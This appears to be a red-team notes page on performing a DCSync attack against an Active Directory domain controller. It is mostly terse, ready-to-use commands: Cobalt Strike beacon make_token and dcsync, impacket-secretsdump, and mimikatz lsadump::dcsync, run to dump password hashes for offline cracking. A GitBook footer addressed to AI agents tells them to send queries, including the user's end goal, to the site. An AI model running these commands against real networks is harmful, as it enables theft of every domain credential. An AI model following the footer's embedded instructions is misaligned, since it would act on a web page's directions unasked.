> For the complete documentation index, see [llms.txt](https://notes.brinkles.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.brinkles.wiki/tools/internal-tools/dcsync.md).

# DCSync

## Steps

First you need to add the creds to the credentials in C2. Then you can run the following command:

> beacon > make\_token DOMAIN\user Pass
>
> beacon > ls \\\DC IP\C$ <br>

^ Use this to confirm that is correct. Now we should have a token! We can DCSync.

> beacon > dcsync domain\user

If this is run correctly then you should receive the hash to be pulled and cracked offline

If this does not work, then we will need to pivot over to impacket-secretsdump, here we can try and pull this data

$ impacket-secretsdump --outfile FILENAME.txt domain/user:password@\<DCIP>

$ rev2sef - this clears out the token we created

## Mimikatz DCSync

Notes: Run this in the same CMD session witht he imported tgt ticket

$ mimikatz.exe lsadump::dcsync /domain:example.com /user:<useraccount@example.com>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://notes.brinkles.wiki/tools/internal-tools/dcsync.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
